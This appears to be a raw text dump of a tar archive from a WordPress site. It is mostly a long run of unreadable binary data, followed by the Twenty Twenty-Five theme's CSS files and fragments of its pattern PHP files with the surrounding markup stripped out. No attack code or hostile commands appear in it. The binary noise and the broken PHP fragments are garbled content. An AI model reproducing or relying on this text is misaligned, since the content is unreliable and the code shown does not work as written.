{܂ndD'.%V7_v jԜɴߓԒ4W jm5d!4DuzIsIxlDǝs?Q/N>Сu?V=@oB,ecF8vȒߋ߹C|L՘JecvOqѫX#.n[TaRAH|\.EM΄OF=V,EѲWͮNRC jokhYB܏rpTڌ`7zMLX4R&B]@'giO~X W[|2eihi|ý[j[YK ks-+Isۚp'6z~SB bg"b3![NV *dftbLVUm"tG X 1Zus)_J UUkF2,W.BFT<rlI 2 ?=Ko=|=,VF6_ֵRQ?@5כBt-ƶ=,.(2j )N=oY{ n!dj3ȗ)7`TUC'ݻ pTb n~Dԟ@LD ED>tt *E?.`@?qQ_"&mcE8rl'*|˜eyc% D)B/hвV;`']d}BPT !h <8>]yM4l0#Om bTWKyq dFh{VdZDH˫Ƚ$Xǡ6h2 Ԝ 9t+u(t pRY81rb:aƎ7jPFkkj{ 3y 'uӫ0w15J +敫Th_j_-Pᱵ4z Wdnkx2yGۇ~ fIl>dwWm*V&="*9ݥės$r~P1_eLo}FU4M%Z@A$) C1J_u~ Ľ\2sʀӥ_W# i߆ᐇJ-=@Elo.5g1z8$‚_jYX0j` ܺX߸ԯ"9-ʋbd,oZꫳMbX0l@$N[ke\9ůoj{[gLz"D0"ЖHj;%X)aQ+]x))Xw vF >!"?eScJ+h I_}r-+yy8ȸYʏ̂=[ Ίz>uhs IzfZ3ޯ(:d9KX EYt, n5&Dd<2L""~s(hg4g;_,j`\:5a\ox+__q[m`^޳HPИ(n]~@=Ǡp1 '8v/( !W=9&Te3`DG2Xo𬻉Zr)0hQPc)j'h."F,U/ǨDmqY ,pS~d*[ n1A^v"y 4e&"@~IVq!;kY]MUgΨQ%;g8DAȵ.Hgu*iT vYR^HąVs9~7 Nァ>j$?f@B0 ?h|$\jvڻE``i3 dj(ª44) (=^I *ahAS XRyrpa~@CXG3X? k\1XTfI P˚re tLX-]3wa!GU$B&Uqi`N Xgf[(21Dx A} go${5et,^50EOP;u\i~ci)gg0 g&nys߶\lwPM \.m3ˇ)e~F;+N5 R{Wh>aˆ)O)T/5vfYk7k\5^+dm<Bh)uSC V^(C{ZB&@( UIaٚdSu^@rXxCu,`O܀cWRamn3[ljO#f2R9ڠN,@J*4 $fb- G>Nu"/ K ɲJ2%3G{/Һ PG{j|lR3}\0 *B`)I6s84@@fmMz΁ ˆt_G>O{ByjJjo%5w@&EvH*Q*m뵉N!#%$ (|7)Iaа: `*Gc8t]4MܖǶ3r --iqA(kȼv"Ӌ6 <($Q"T>`RH0S8æF V@Xq*5FS,d%A}Y~&&*"^LJ#ε:B 7_S[+Se"o𢪜B l`pǟZK,V<-` w>5~XH[9 %2[H 51Ui3ЊoӼ=)\or#7z8}}#pT8,TQVݶY~SD`46~I ^b55tL!Wېb`+,@qD:s9"s|%)cjPuV41,: YA~>dw~yWO2À儲8aW"Od.rV&=(&YxK^Ӝ OkWe+Bn~>KDD(|!+U23ΉFZgu<& h]氭p-&;{fw9Oy4Z6 V[#VYOhic25a wzD|lg"똏E/#1>.%wې',~. ^ * HClbNP s4P|E=vҠYp8"?)#mkqSV>9!H,ݪBiYTgVfb$4R\$1򪛿}Gx|nT`u:8 ut_Mp3[0V(edOg ݫ'< -av+"߽1S+"9#m`%k f2,-yN3?q89 *qn@ _7vE@Vf'"U  HñN!E3^"r*S\0GaXA7{Xh= \ ?^yn2C$^a.G|l"}W;!Ci(,DǠ%ckcWlލt\ǚ7֝@ h%y^%ChkV1b~#9R%ħZ#;C J`VtEvh;sEܸ8˅ yj|ș`Ӷ<\lZ(1sa5 `8d#~jP7h@wi #K_i6cv/1A2pCt:RHp ٿ;(M"y6*\juAqmtmr= 9豔c]_(hkؚe t:Ccqַ?GuHu2:>~2ʸl܀3jkay*xI'".ܼ{FaO,_pд#K^@v\p}Kw)ob0V]rɚPwm?Ѥ)ѬՃ22Nu6,ё)noX;붖:XH"+˄p"*-W02 ٺkq&ˑ臓-4*&lE.\ARbAeX==-d:  we.bK%R}18rY?),)@0YKJϮ~15t~qإ4( slydt&>H˟%b uImYpLpG)-qK RpE,`/Wg[E[jTOν.j6!ЎU\᩶TK78ZELȽ~edY*2M}!0.ݏIyHs%: ԏiV.&J.O㕆h̓~Z$X搡(T[,Z7S~s,i]4 ʫGZ'zYgqڲVpӽ!u)`nKN)y %5,WPP˿G,BVhS1k@=oP䂊d"M=Yi33b fbNA#bd:]HxҏdW+:ZhC1ٛI3w@O39:vFxoq2 [&P_9-,vVPCXS4CsZ@u}Wm,.|%w/|=wr V/xX-[v?饉6}'&&!iLڮ06Ln[&VH"^Xr)iPtKl`_l\<*AE+ȱ5Ce]DN[3A8t}+oW)3I96VC~FB"uo͇B&Gujh_2wm Z#?PA\W/'Ԑ9n>RՍ<_! y9Z٧h_%ؿp+NwXrDχ騒:!V?ȱw|L?YXn'+`1EX)kB&*~OR6AhܽY<羣Al:`j[]cN`@ 'ytp;fg .!}JMkП-(5Ǧ."X @5>kE\̇)5kUr!+#"pi3`fSJ#sP[S,AtXxWFCs%| YqhFTUeT4J"P-=CLSK 1WŅ~hߕ ɄMOI]SZ4(fD9 ь azKLq0X-{+Fh(fuʮ25=ɞ}])[^K.?i@>%)XADC?ҬO2/q8/MX+!@/XJٻI ֌Y 6N^I8zA?zQ)_KƸȂ)tBXNz%F}G(Ck"IT@PۻR[S̥ oR8+G4q.Y$%BDORFJy5S*עq>~{u:&7NsQpt+d9$';ocjEo,,z/m (zg~amf@5u5Z$IɕWlFꩇ| 8J&TdgmGԷVci30ږ]2P!!g:J9K^ȎH6煂2_ QLMeʕ}#J UJo_{Ņn"+2T'']G蚌ZgWY+SN[aJ,Z~56[R :)x|P8ـMPmě ^PB.b1@ VN["S!pR!~R7sѿxG9.8FOut^YAo +W~8X얠R29yQ jJ]lzU  lgxsc;X_*5C׎gBK XB Th& MFT 0N؏F [SZ)}vs3ޟN`=4%șF!ncp@KN*xyWlK Kĭ5=wwUv^?z^. -+ }ZnP WB1r+n0xH$L>ʒLCѶΐ,Xw1顟5l ЪYD* yHFA;/CPf D2%]%(m4Zr  kɾBsJӋj k:+ǞzBz^1vX{ZkaED5qa =\]3)'-Ek{!t.ѸƤk1t $/׉R@t`כSi4Ƀ~r"/rW)8I7Eiw\t,83Y9guM6D4626- r/8a|^ 57^st_ªXp/e"hzH&V[׽]eǭ++iBcC4ňs[;e Itd/wj3W1PNCdH̖UJBKb~(iBu@C@F4###(:!')?r-nog L#^*HCdJ3c,58r#J6p"j੷^ՂqH_+К%[,&!/zCo\ǬwBšSn{o5GL$JBОzuen&tߤ sG&ý/6Ɋ o%1v߬^yGN?]k9֙4k1X]n|Ry{r'$rzɃԩ)RY8Ig(_hyu ncBKE8v.l=zxp.Rِؓi2A^>Y=nR 'fGUs2tKbجpF hrƶ5y}knbo#clv$i7-H!(Ra'WiHn_Z t-:O(ZYV.-L/K/tŬ(}!1Ӑ{@Ŕz)Ǿ˴eMϋ~,?ǐ[sAĉPW.nQh!b{;Ko4 $CVQiػ/GN*=!C1F~7?-߀֒ŖkC,εU ޕe*9i.e-{}ƚ3l,(HF\0.gZ s>z00#NzdUcX؎3N怇R*wȿCv2?Y$\>Hqro~GY{,hxd:س#!&bг:p#_ѥMAN5U_0 p:D%^ESS4Ю\~|P݃nFҰ8LM77@{gJ]\kcE!S謮l_ÀKN5Q=w]T@0$;_W@zF.eT?c̥yt^滚ԹP 6c]rF/NI:_w9Rq.+0هm3Lfz]>53xV>OG]B:[!,H2F"ˀL(w-vf?ʠX도I*3%CmO򨰳x7bߺ%] !ӿq;>": nb ;!(B|| !L('ZCmUj't L Dlit쮏;I Ȼh/%OT<OGż%٤lf|cYɜQ`$Kρ &Bޕu"J` 8\OpSςB)"PrkNŖ%;ObЇاى8{ǔ`Y'JBMx*HIz>E-ޫ㤠 gSLF=#ZQRSzyYng5w7q'x^z ǢY؃֢ (Ldi0Μ©q‚ÃVk%fKm}zT;YT%K44`_oeiûBvgB2xW(bO4IYp0Dd %8@g,q!~1꾑 Dvp/P&}A?ľ j:XxV$rjvskxr{t*̯<5J[^CĖ0dZМVbz `@vH`#Bb/OC 6%Beބ2/νp\)ྡH f+$=,+^?a3v8?tdWLcz>A㧅(p924 V)^K> }2-xƯtք҆~Â.irMFl7vl/祺#` 1Ґk)۳"ղCBޝdDFns2k fC(p,zQ<JK4XM^Knmf)@zLmuLTmO^`yd!YȽ\" ߼wݘ6.ϭGma¥ Q%'c9g:ҀSvqw+6%,7>z+kU0pQԍM>`uPP,zC9n_W Qu?F~oLI8_$^s[J; n6E'Յ'WLZf^z#)1Joo!byP D6/O%[ۄfZUG{uzXgַ NϠ_Z;<،9dBEX2ˇvD$^ h2̥WF05[Fpx iO$edinQ۞ʟOu+ځ"xk;A2dٍV1y u8DG)Y!!ˎsV G]-0~- iiTЁ^Gt)'x쟷l}j|"0略TF r*>+\`0>ejx/:YOI'IQ(I^=dk.Z6[_s F1 !msƬ+d,YRjRzMe# A<@벾dB] #x|NF +4B۫Ǭq؁>vMN. ?M9,/ fG]##afί'ldD |][SPxoQa@Oיsn=iѮ2 >fnp*-_SV$ghsw𵺐eF@JZQ߹+㞮!3B4RK+,Z( Mc7!!:͡Й$܋E.MZj:6^N! `YArRD8'/Rqdv\b5T^i?|몫*UOw@rw~Ѐ e|X#-bn(L2p Ɉۏ{x;? Xw$$ߙϚ O*Z H ^3[bOC rd`)KW>".Cpq_!E>y -N>fRT(a7 ^COnV (5j\kN-yT*ơo'T,suJk hQ#c`Ly=[Txc\ i"wY( $7XC0Ћ]jݹhn#*x̜itctrJ Ĵ_EG\@}Ns_! (^o^]im&fNFG;( d&6VG՛;߄}-rKۤrt$HJce[ff.@˧3sʪF|']%}/'X{^t@+z 땝NZtv`w+ brsԄl'j][aedu>pYf4&,R>Sqc̐yjCR4z=_ν:\(S(+oMɯ[~Κ}n Cn[@*4(䭾U! Q}3^ ۷2. o\԰'pZ:@j,WL)ީ o˰3iy^< D[T.t"i[Щ9[ 8)g耐x$Dut: k?ʩgD'< *jb(fJS!~)KK@ů Fw L.D'Rh. :+ ߝkϡ~ΉVϕߟ>rOB^ο>AG ߠMLJ?ai%* 6x >"c.n, E/ e4-NCX_]6s٩\g/uWB`$HO#0`:dL >?J*$d{V^ؒן g`ɔ ڲ<CC pxBLҊӺ?M4qxX;H795%MQ3/8HM gp&?xic.a>0]HbmDg<_ C# )^al0n@\`MRz&@YZڅ#KfzG8i!ׅ1i21hetq1t*wuJv$b?Ca a# !Jo-%+o(DѦXc(=)L<_؁= !1A~Rk ؖ992$QGW|O7Gǰk +1e:jd}H=lQOۖ N!;2Ct[&/m(]g嶏v.H*}9/V ͇QaBC0eRCѹ@,Lu $-mM#ǡZL +$z@{^HhL \SN]ݡd4_/djʜ2 F JqȄZ!r8E Dr{rgPCt@ϒ45y\"L,Yl f]ekdaJ lAyHq e/#?,ɗi#0.=O1īҬ qDb^lt#j=%}}H.K6~͚1eLJQlb{TiցtϤ \yAzNV/D;U*oF_9 K5SxvFq擄^yV];OXYm bC@/$OݾGWN  05M']KjŨEkBFn<U&,pӒ,f ľd}>}+l^M9]劘ʞ+E?q p+E`MSy$%8h6|╴SwM_9Փ{e۔7ț4 OF4ǢݨT^q7=n 14Nm-ۋ8ƴza|gE~'s?oULIE׉6xщҕ1J=0'c ->@ofiY/'sDRK&4u$at8ϼ!z 6qKZ%`duY~cEYlI91O9MQK/ ^4l ̋Y';h+?t͊F^VQ5 fGr[͑;P }"'!:aU51 n Mln d ϤXf/no$YH[_YX@2 khcJ+E3̌3`98I[ =-6Օ$<"Az|g|GC:'[Q:B4pvv{W[݇ĭGo).#vUͅOK??3xY\Hi-t?Ȧ92ёD><k. uх|_ tY[_(uУuw\lqم zR5_t [*z%F,ULe9˨Ū2ba  ≺9S-e_阾o0TtU@bm6O'a^r3DXN 鑟,Tz# tY!k^NݢP,J-3vپE3zM6#K)U3 Ӛ*G{1l{<P5a bhw@ɛDH #TX :$ ՜xmE؁T4C.O}!\WSׂUW =Veuו1 mMEڬ@:MlQ&mJᖑ7LY[˫gB̈́!8r$#4Sr5Mb˄F*l吡VG\Y} &+PY.- k({6HXOKZpA׏}\ұ@A@WY¼M&&@Zׇuy2wh=R8ySU33EӮC۩6=\w c2&݈{k>&8j?W=8WbI O{" !! "W4L Yݚ1 W*C L;K7&{jGO}Ű}HòW@ULDSps ekbzRÀKѹ;.RWG;碌tar-OpHN; hոY]}jB%RdGI2HfCY |5N @X?`/޷Ň0TF}=}GN?ҳCU 3^sE#tgR  iLj$gc86W >"/F8~P(| &/;w`b, ͂y鷌!$Yle$=a7;FFWr]@ IsP{}4gH%\5#{N@uT@a?˙ޑ4*uQ?Tajի;f4P,7ŁE|r2w *A~2JR7YͶ͌/M&fxm-_^OU H4ob؛ϓ5=:B Εsvɹ5/ FB@$n._%UpsWSO4w{!a0֎9PFe:KWжW : $}hM"YGۡuj;۴i`(Y!w~SlV˄FZ?:;#uB^J~(#At1whhjB7pJ='IZ7 }qR]LE܌ ȐP<oGB7ͭ/L,5I& lm/bQ*ijBy(& gǂ>X\mfz\?UmpCn.A|$7~|yv1WO [YSF,X - %Utp\߿7m4qm;zlodw3O\xrs9LAK䆍m@3ͼMۈ5f/!rA{^F[Tܯx mOr{^ 4\kjN `ɝ'9nD I%n,6>*_#YS4i$$&9?<՛A4`M;TYר4X=y? j4i0KjQ,[/!6dmn.}' t69Ys P]qXkO"Y,;uYvdpow<ȎIQxd^7| 1r:M24T35F+Qפ)frŴƙT^Q:5dOw3SEZՙyA$a$* ?K!Dg%jh!Ե>DR/ci'^ qǼASWJln?~gNâ0h<{w+aPC}g-VSDReu\8reݙ76Clf+g|í2 ''f 8L渠h"*G'ZW!U'R~bIfUte|? o}u#O?T(pe(63ՄP46@N o:2V:z (Nv \7b"=D3ת&llr!wc>ϙq++gbMd9G.  %o:kL4ѱ5ErErW%kPγ_|V\PINTG/4rzY+.SаU aVj*)vpMY L*:7(>ZOe3JpjMr 1ۇ5^g7սSc3MuCU`i@G?ٓoH%#l^> ̔g<5x=Տ UrBƙ|4$9"X)c74 lHyN?'#l ԓ [AX66I~x;v% :a 4ݣkV+zo*FvǕdPrܕIjEBeR{sZx$[z}]y҂`di֩-M9Q5o* &\_ .+.l`hCm3a76:BՀ!Ѧۣߒ@mkJ>hÔ +=bbS9j$߿]'E cWpYsz-vL-X\RhL$㋫ kkَ:Ѱ')q$d5ta'ǕnSEHSr_FCj'rՁ1!&f+Ȉ3#0,I1$AHӝ͹ZyK~&Z i;2;[}C9V,bDeT> AY%!w!]6׹ Q dJLx߷2MCDFHEܼo1/3^Dt0.9 "CnQw\iRj ^v75";)߉Vfvў"I|fw_xkU1:/5H-~;e|_ۆQ`cڲBB\e+q,X۶|D`+ $c.}Wh!{yWtD20Sy6Ft u.Wz]~tJ"ֽ~htsfowѦ ֣k#EJO{Ƨ*_O4Uxأj3hsLUS̕U.ٖݳXq' %I]Ie'J=U#/`x*=]^R쀓A Q3E<~ּ,a$'K onFaRA[{o %b*dr"|ܩû:ڽ噳)ǡqp@t]^dL-_ޟ)tlq Ԟtօ]:]&.n@=ND^^?7eC<:ax>%hrNܩlݾk閻܊E%%eF|J? 4G*gÊ܀WI4F#-'dL~mxB~P3J8:MWC~kH;ͥ5 Șu;J_znmԨ)xzWh9q]hƣsHT/)C̎|F}]RwR#8!:LT'ub*81p-ɖ(##;bîcOIn..(X*Е&܅W |eiPEucSVW 7t2 Is*W*KRk$p*/Tbə@l⑲v>sԦ j3`D4fۨ@CwDšH,4o(~a87)ԟeR>^uތ 7LFá@PQz;[A@eWW)K"D| l_0DeŸn9A݇.O~$QS!j{q^bɊr ÉX=r$@l)=p^UtuͷR3ovڵQ< 4{B- ~3R[ݱ&O[5m)twaN& Yw"+Laʡ& :L$񻓈0WgkAn !ފN21\)U=كC%V\h_za AGp{Vֺy*OF$hk|n{Ա_<*H;1::<*M< -bPp|܊U^e{;\U,khsޝ>6eb(&Qᱍd" ڈF5ؗ#거o ثuy{ 2'XPUƑ 3]Q;WK<4bTBCy4(TZh;iAv} CV0YQ ,=`f Ce|[ @!)8j[Xr}{")r^3:8qUfPxNR!'yҡ}R}b&6(~zeȁ c\ს- J%C4%SA8I;HOOqHS'~{G%93@,1Ǔ E-Z'd<\I.2F VJz Z~3s}R-aKƝ7+G@%wuBt?9܀ǐNCwr5\W7ΣxgrT/q*Sk*Eq&^d4_0:64L^]JCW 2dGئ"X8<.ajltǟi#WgH7Akϓi soy^THP!|o@x _˜J3&9Gg(sJ~KM5{Ǔ#6[rݬ5JCNv\:~\ngi?yuHqqV^mAzQb0W @.%^uo ~RfU~\^FmpEf7PQ]}~-S48yDVH Blĭ')}O/;hU/+xq : +LJ(f%_kNcu]u9j2fޛ)3 㐥l ]`by?W4ct'`y6o6`oI$ta/; zhE'Ipxp0\UvjޘX spw*%"k'9-6c)5*!'9Z qj/au'd+5 RJ '\m3dJVzZ'G8FAiiμB~).W9pPˑ吩tKfe{_JY_wSR! f!J J$_7E_zUZAQ݉}ۧ^ڧlYcL-Džpוּ%/BkRox0.}) >BN 13+6V#h4 0ec. 4YI~ުu?TiXʸߗs-z%Vfc_zh.oS>MR+Q%fXF#PvG>l7F sVV@O/0qLf]0VJ~:*+U^#oqrzӎhK",~-RU)Ǿh7a^˥xexP"k6,TMē ۆUZ41':o\ v/"IM{Md A@<>gQn'naap J})* )\^6#WSޔ9IN H󘅓ho "FyTf#*R`ϐ/ӣdҧw5G Þ~}ȊJ>˝dhKGAtl[ʨ"o9Me*Щ瀇(`)9ps@vŧѲH6mĴu CM%ǘ•PnҐ>hϤ%r-j.g T=S\Zns.}**X6ٰZ^?g9CŰ GpȞ(j'[1Ӳ qeN=}z`fQM0̘PۿrrCZ81"bC69`Rh+5GԢKa~^$1bߎ3ԪC@?gƾZcdlUu oGzE8{Nbε]dCTt괹 Jv b{ c 1&yzk{.Wԣ9N!V+H},2@0|U0#2׷$KXd.X'Ѿ#Ecaox&ϢܯygN]|K\@SdR"MA=lGzW.ֳü@Ʀ3cNAcm`:6NiδQ[_Ş im(&aPkK+6b5[9IfJ6L5h?#8IRefeL@{=./ݲ؇.E&!!9S蝅]E\}E"㩲~R{-' ky_fvU5V'tb,B 1Vd̓'=d / msCm I.#/s +YiABe)G1FK_!?g V"'dՍ4 '"SSL~<9>{ 4k vm 0L.UE43m&a$ߢRCi5#0duj2,#YTo֬aI1LU't4о3ǦK](V WXciC'd6W%MKtWrUf>%Θ8} dӢܾ 1Yn9w77#8?P-M􄥛mnS.0[iK ~N w3&^~,((wcsD)XOx_ˬ&QRnK^lǻgT3k b~eR AMGpHSrȵcۈI͕SjCVx-HPVɋhqN{K1$ބb?!`,%@|KŬ/п"$G)ʚ %S$!b ՚d87{Fqx0R;j䝍 c13(QS~Ij~\Oȫ_FU dYe~" ѷAmQ;8-+!+`5ffvXlxIUar:n(JD~K^qC6hcmIa|8 wzk49_هP  |n%B AhǴbj#m>}Vh;Z:B٪4.[B#WfY, e꣏3&5%BBHx1|0wKJ#ޢH6cHx!eJ= ~-\Hx~_->M7R2桏G^+!̐q@1r-pj4DmI{\PuO3 -"ځEamh[|0n!hV.0ODWq]rQP!5S퐿?E0*11`U/_.Ѵzc.gec/dMI,q7*M*tj6"=:}CsS r,*{,rI6`;Û7ȍ"#ї$#vO^A8~1gգ0}XbmZL__y ˎOv} PS 򶺟EKEx[J(- ۉl$8ta0M,q-o):s &1IBEh9N%y*mhZj[ mֿ'Eb\]äZ*LR|JL};[G#WĖH/RIH8V/9%P}#Ƞj|\ Jix4xYO7C;u]2!mk4:m=DŽ:Ʈ4.5 䞆^e.PrX툶ekۺFqS[̣]9]teL53P4M-03.i*.s:L A |cAp.? ,eN\Fdd٤FV2W1L™{8i@PvYOҖ|cNg#nKhO:>TXAH',#KQZ< 2*) xP=,RK 2MlKcˆ{/%]ꢣ>g\LeEތIV#U&WW)LEeP>SmKl vMl!և_a:PF]:&3 =Syᑋ \5V|fd̨%1L''U1qJqV"rV!}` &=l/h*Γ,IOD+}zk& r{=s5P+UeV~$:8rm~N W.St|E2Ώkg]?ӥۿNg<D#6+[,r'MEz<W}0zFӄ$^68g+Bѡ>ѽ )hCB%3sG$*Ko \4Zf* /;s~CJِ?d#Z3s&rr)C#+k:Mϓ~$r^rv㙶)P˂d.W&MX_I(cɊFMѯUc^4wWf| @ŵm:VꎤlR@Frq 9GOG-K$T&&gR?#Kxc+gzW*z~/|s1NVTa_- \;菖 |6{[6VI,f#j(ma_*UIadz[PXA,g2Y} ? \TߐpeKrN}yx?[CW>֫ȘՅA-֊%dU$72\(W^"]wv4y*2:D#$pڌV~ ]5ZΫ iTncidACL/CQWw/Ŋ#iWŮ_< ۤΑ=F%GT̿#@~dh\p0%S\<2~p(bQ;/˚ٶe-9 z՚Ίcc<|x|#]]%K )^B1&CwDc,/Q9t%H^!Wg)'žҜnP{{MV33(,ry8yXW Sg xXy/w샭UfPFfly5r2/FF![`ZV F ~D줊BU4`hӊWJT?d `jN׶lV^.tJ4mLJ=(~ aH(]yraQΣkK#9E΁`"Y EEP鶋_G: g1pd)׫lrQ{4%6 ɗ%k|Y񶬟9HO\Br=Y.?t\~\?{o4Z%!o @tzF^3njpXi\aCRυ?yJ׶Yc\J_>}-S>uL]7 Bg>vZ۾Hbz!rW2ѩ$?_nE/>zal"kQ u^.QcV@v1+. օ 6^~MEV{& >OTEatu3mо&M3 (,K1$9@ZxEd.%_ !r9ۃ{+ڃt]j?O'lyӭσ$zFyO8t:xSuj.T=R 7{|^+mIyBX&Εq=}'/[Ml(A:#ڙt.3%l)3*c;ͿHm[!WLM+!|J.+yOS G[rL0n3qʓlΣߙs=3N͡7B5Eҧ;~Xy? TDcbK2:w)3`g:a`s@~#qYPІ) a7M:訏cWB[uF/ؓYVBƇo&NolSo G< 6qoNY'b Bf잶y1\^ڄoջ$H[NITZ_T\ظ> (|!={Tn,: OrӘ|:Yڊ 'h\U=C5aq$zڳiN!!qMX`#˒Wl=X#>0EPݯ*UZm| gtSAx &^ZgHB7swJC h(4 e D%5Ir/QD 2tH-#%sz"ZB#@T;(\#x:a/mko?kXԱLJx=EVgu#p3BK!2ތʶ,cK].j/m'Ert3@x2i S^gtEZNjהiݓʕ(-Ѹ+  z.Fq 0 c]~AY9O4NX1U۲+LzdHȮLڜZBN*^vySnk9/ѣ)a(/OcE/ɇtaٷ_obڊbbNl~n;չVw7[9kt4eG?HFM& juw*ƣ/`- 垬GgU=Pa2H?vF7-⻻ydjfE ilOqit=R}Tb!*_1U]D7\?XspPOI>sSH9fH7B}Rx_/OOeQfQAԫZdpV$qJkH&[uiSyrW9LŪW1bP"Y' sEK(O @ERVk&. %Rb'=]`*POmr6P-#$zV q8Z`A3d"ƾ{ϛ%%ڽTHq@vdgχ~FSs ʣC&J=57rЊr&;Q)qLeTHL./ UF\㰃+H&e 4f4etB.1#X;^~>Z,1/2 o? &5,|` AQBk-]_.Z^d5ӃGv":[+uJaU~v <!WM@ݧVFJ5[!JbY'<\+M%ؠ] n&8|;&]qIQ{JyjR8[pm{Bp[a!+wT2.~Ni:)5Y4%G~D:a#/qy1y1k3OvbB;Ez۸KOƠ&#ci2r^ F3>ĩ)͵!9;{$: #$v45 ryleh_9J -%>1-щ;}xK @ܨQ[Jzـ6"Dp5a!pac^}b DζB}dp iPq4?Kn#z\N_ٗԦEދ6lw$IӖE[:zKS N7Q;cckt$wKZ!1hb{n)u}5 aUrs+" 7@m $_s@X9vH.!g-EO _цz!R , ʠ¢b[K U ru8qY1: *M Ogi:\w4[<&D6kID+!XEB\瑫^!,NJ8ˋ :$8ŤZQլ<-M!In F:v _ ^. h)=b)V1ίn`H9(3 0VF0Mi}-ZgFTm #Q!2CF)z*FceD,[A} CGz}Y.7ڃj6ųY;?wM.Wcn>˂yFtKt0Q070Iְ'\+(9mOmO!rl Nk]W:}m)k EX3|<4NZA}I} سw:R^^-ho^<.\-6GqDˢrb,]?]˜ zxKG|U@2ւ*kJ)V@̹eiAڞYՙhW(踟~Y1W`ۍ4`4A_O\ *KSi;6X=3i>[cnՁܩ>yUhI. +]˦6QeNx̨Wfd #<͈$?*"0RJ*I/nÍ븒i}/ӱUƥB6~ljn-/C c* vƢsP)c`=gl%`,!E_9.Ӳ\=2 a M4iqVJN ch~? *Fy-ũr&oћ7TϧwYl5J:+Dy ōOdԏu%5\4T/-72D=ד1 Z$v莔Rs[|T$75-v#7*8SXzan %k#|7*Z7ZeTߔHXf+ₕFԬatm@كQn[B![Ccef]טX*za38'ȪTl.-:O;}]FOTN`df6/Z:ZDsH`Ehyg06ȕ6_];H's$ E6+ ,"M Ӛ%Γ$]v~dZa5 M3iUm"=VxidWb90xL[2: 4tЇlHuR @kܻ R # W6o+W}B f@66GM *kfhkL S=պc{u/ľDнd{!NՂqS}j']Hjj-OnĪ =ZoCMpr}.>F[ayqU$9MF $ߌ1!=g'چl~F-A _(H"3j0+)xOO9)^~;KoPF Q42c`_GUJn3Uy2gDB}MxIQlϐ+n!{'RWel0Iyb`~A_D;0Tۮ6ؓ\)^iz5m̿r3=̦'$F@yJzjA2Ժd&4rgZ@ٷ?s㎯dy#V? ;BZHw t6>A2k$M pAP&jխh2]DJ۫qdӎbXտPyi|YʷQ<2%Eat,r+toW^R$ytKGVeb)G>z== ͦK,ԝ,ǥmjVK*OZ3ԇcҪQucx)tOZ`R\15E1')k&|} w='`a0@dʀ^pN龺.Sr ZT4$*n`[ƾcׂޢ`cǬvT:!`-߈pQK0@+7ko mol~''bKSxl:ǩeyۊ'Eg?Un 97~5`cEl&,IʼgB<1Ĝ7揻5֯B>RM{O90diE4oq`^FYTwهdBU({˒s)iPW?8a|Z"r>1>7t+iTO)\= (@)6Ko{K95|U/ػdae1A-1cSF}Ѵ;8?]էlT20b i>kI$3KD\q>ߓ"k]QyT^!N3G8^ݎM̈(k(XE'ɹWL)= l;x+~^[oۨp ƴVH>`ȣ.(S9,@{v߸WoH6rֱod9seBѝp=H:l>Ġ^?@u?:LYT$âdmb ۂdpQ kk_DuRNΨ9_n0_A#Av*Ň!bC9 4K){~Aefz)W+C3LuƑ=B,rf!;WL1HJI4j`@NN%҈umU¼Ϋ*vK'7QG6>3F!uue2).tZ3=#`$<9'uVb˵픧7{c/1ݹـ>P|Њx"E}&{ȠzD5& j޼lBo#sei-Mhǡ>Vɺ„ ^\4Ų9:ĆM=c,Qx.76.iud3q*+U ֽ7_؎F ٵI?D T4ۆй=R/ΞGnʌGcw >d*"Yc9s65cQthemes/twentytwentyfive/assets/css/editor-style.css000064400000000235152335264760016755 0ustar00/* * Link styles * https://github.com/WordPress/gutenberg/issues/42319 */ a { text-decoration-thickness: 1px !important; text-underline-offset: .1em; } themes/twentytwentyfive/style.css000064400000005701152335264760013402 0ustar00/* Theme Name: Twenty Twenty-Five Theme URI: https://wordpress.org/themes/twentytwentyfive/ Author: the WordPress team Author URI: https://wordpress.org Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, supported by a variety of patterns for different page types, such as services and landing pages, making it ideal for building personal blogs, professional portfolios, online magazines, or business websites. Its templates cater to various blog styles, from text-focused to image-heavy layouts. Additionally, it supports international typography and diverse color palettes, ensuring accessibility and customization for users worldwide. Requires at least: 6.7 Tested up to: 7.0 Requires PHP: 7.2 Version: 1.5 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: twentytwentyfive Tags: one-column, custom-colors, custom-menu, custom-logo, editor-style, featured-images, full-site-editing, block-patterns, rtl-language-support, sticky-post, threaded-comments, translation-ready, wide-blocks, block-styles, style-variations, accessibility-ready, blog, portfolio, news */ /* * IMPORTANT: This file is only served on the frontend when `SCRIPT_DEBUG` is enabled; * in most instances, the `style.min.css` file will be served. It is not recommended that you * use the Theme File Editor to modify this stylesheet. Instead, add the necessary style * overrides via "Additional CSS" in the Site Editor. */ /* * Link styles * https://github.com/WordPress/gutenberg/issues/42319 */ a { text-decoration-thickness: 1px !important; text-underline-offset: .1em; } /* Focus styles */ :where(.wp-site-blocks *:focus) { outline-width: 2px; outline-style: solid; } /* Increase the bottom margin on submenus, so that the outline is visible. */ .wp-block-navigation .wp-block-navigation-submenu .wp-block-navigation-item:not(:last-child) { margin-bottom: 3px; } /* Increase the outline offset on the parent menu items, so that the outline does not touch the text. */ .wp-block-navigation .wp-block-navigation-item .wp-block-navigation-item__content { outline-offset: 4px; } /* Remove outline offset from the submenus, otherwise the outline is visible outside the submenu container. */ .wp-block-navigation .wp-block-navigation-item ul.wp-block-navigation__submenu-container .wp-block-navigation-item__content { outline-offset: 0; } /* * Progressive enhancement to reduce widows and orphans * https://github.com/WordPress/gutenberg/issues/55190 */ h1, h2, h3, h4, h5, h6, blockquote, caption, figcaption, p { text-wrap: pretty; } /* * Change the position of the more block on the front, by making it a block level element. * https://github.com/WordPress/gutenberg/issues/65934 */ .more-link { display: block; } /* * Prevents unnecessary scrollbars while handling long lines of preformatted text. * https://core.trac.wordpress.org/ticket/63875 */ :where(pre) { overflow-x: auto; } themes/twentytwentyfive/patterns/template-single-vertical-header-blog.php000064400000013555152335264760023157 0ustar00

    themes/twentytwentyfive/patterns/testimonials-2-col.php000064400000010557152335264760017533 0ustar00
    <?php echo esc_attr_x( 'Picture of a person', 'Alt text for testimonial image.', 'twentytwentyfive' ); ?>

    Atlanta, GA', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
    <?php echo esc_attr_x( 'Picture of a person', 'Alt text for testimonial image.', 'twentytwentyfive' ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
    themes/twentytwentyfive/patterns/page-cv-bio.php000064400000010304152335264760016165 0ustar00
